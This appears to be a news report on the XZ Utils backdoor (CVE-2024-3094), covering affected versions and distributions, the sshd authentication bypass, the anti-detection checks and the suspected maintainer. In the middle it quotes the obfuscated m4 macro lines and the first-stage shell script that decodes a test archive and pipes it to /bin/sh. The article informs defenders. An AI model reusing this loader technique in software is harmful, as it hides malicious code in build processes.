A backdoor (CVE-2024-3094) has been discovered in the XZ Utils package, which includes the liblzma library and utilities for working with compressed data in the '.xz' format. This backdoor allows for the interception and modification of data processed by applications related to the liblzma library. The main target of the backdoor is the OpenSSH server, which is linked to the libsystemd library in some distributions, that in turn uses liblzma. Linking sshd to the vulnerable library enables attackers to access the SSH server without authentication.
The backdoor was present in the official releases 5.6.0 and 5.6.1, published on February 24 and March 9, which made their way into some distributions and repositories, such as Gentoo, Arch Linux, Debian sid/unstable, Fedora Rawhide and 40-beta, openSUSE factory and tumbleweed, LibreELEC, Alpine edge, Solus, NixOS unstable, OpenIndiana, OpenMandriva rolling, pkgsrc current, Slackware current, and Manjaro testing. All users of xz releases 5.6.0 and 5.6.1 are advised to urgently downgrade to version 5.4.6.
Among the mitigating factors, it is noteworthy that the version of liblzma with the backdoor did not make it into the stable releases of major distributions. However, it did affect openSUSE Tumbleweed and Fedora 40-beta. Arch Linux and Gentoo used the vulnerable version of xz but are not susceptible to attack because they do not apply the patch for openssh to support systemd-notify, which leads to linking sshd with liblzma. The backdoor only affects x86_64 systems based on the Linux kernel and the Glibc C library.
The backdoor activation code was hidden in m4 macros from the build-to-host.m4 file used by the automake tool during compilation. During the build process, through convoluted obfuscated operations based on archives (bad-3-corrupt_lzma2.xz, good-large_compressed.lzma) used for testing correctness, an object file with malicious code was generated and included in the liblzma library, altering the logic of some of its functions. The activating backdoor m4 macros were included in the tar archives of the releases but were absent from the Git repository. Meanwhile, the malicious test archives were present in the repository, meaning that the individual who introduced the backdoor had access to both the repository and the release formation processes.
When using liblzma in applications, malicious modifications could be employed to intercept or modify data, as well as to affect the operation of sshd. Specifically, the malicious code replaced the RSA_public_decrypt function to bypass the authentication process in sshd. The backdoor included anti-detection measures and did not manifest itself when the environment variables LANG and TERM were set (i.e., when the process was run in a terminal) and when the environment variables LD_DEBUG and LD_PROFILE were not set. It also only activated when executing the file /usr/sbin/sshd. The backdoor also had means to detect running in debugging environments.
In particular, the file m4/build-to-host.m4 contained constructs gl_am_configmake=`grep -aErls «#{4}[[:alnum:]]{5}#{4}$» $srcdir/ 2>/dev/null` … gl_[$1]_config=’sed \"r\n\" $gl_am_configmake | eval $gl_path_map | $gl_[$1]_prefix -d 2>/dev/null’
In the first construct, the grep operation found the file tests/files/bad-3-corrupt_lzma2.xz, from which the script was generated: ####Hello#### #345U211267$^D330^W [ ! $(uname) = «Linux» ] && exit 0 [ ! $(uname) = «Linux» ] && exit 0 [ ! $(uname) = «Linux» ] && exit 0 [ ! $(uname) = «Linux» ] && exit 0 [ ! $(uname) = «Linux» ] && exit 0 eval `grep ^srcdir= config.status` if test -f ../.. /config.status; then eval `grep ^srcdir= ../.. /config.status` srcdir=».. /.. /$srcdir» fi export i=»((head -c +1024 > /dev/null) && head -c +2048 && (head -c +1024 > /dev/null) && head -c +2048 && (head -c +1024 > /dev/null) && head -c +2048 && (head -c +1024 > /dev/null) && head -c +2048 && (head -c +1024 > /dev/null) && head -c +2048 && (head -c +1024 > /dev/null) && head -c +2048 && (head -c +1024 > /dev/null) && head -c +2048 && (head -c +1024 > /dev/null) && head -c +2048 && (head -c +1024 > /dev/null) && head -c +2048 && (head -c +1024 > /dev/null) && head -c +2048 && (head -c +1024 > /dev/null) && head -c +2048 && (head -c +1024 > /dev/null) && head -c +939)»;(xz -dc $srcdir/tests/files/good-large_compressed.lzma|eval $i|tail -c +31233|tr «\114-\321\322-\377\35-\47\14-\34\0-\13\50-\113» «\0-\377»)|xz -F raw —lzma1 -dc|/bin/sh ####World####
It remains unclear how the attackers gained access to the infrastructure of the xz project. It's also uncertain how many users and projects were compromised as a result of the backdoor's actions. The alleged author of the backdoor (JiaT75 — Jia Tan), who uploaded archives containing malicious code to the repository, communicated with Fedora developers and submitted pull requests to Debian regarding the transition of distributions to the xz 5.6.0 branch, raising no suspicions as they had been contributing to xz for the past two years and are the second most active developer in terms of changes made. In addition to the xz project, the alleged backdoor author also contributed to the development of the xz-java and xz-embedded packages. Moreover, Jia Tan was recently included among the maintainers of the XZ Embedded project used in the Linux kernel.
The malicious modification was discovered following an analysis of excessive CPU consumption and errors reported by valgrind while connecting via ssh to Debian sid-based systems. Notably, the xz 5.6.1 release included changes prepared by the alleged backdoor author in response to complaints of slow performance and sshd crashes that occurred after upgrading to version xz 5.6.0 with the backdoor. Furthermore, last year, Jia Tan made changes incompatible with the '-fsanitize=address' checking mode, leading to its deactivation during fuzzing tests.
Source: opennet.ru
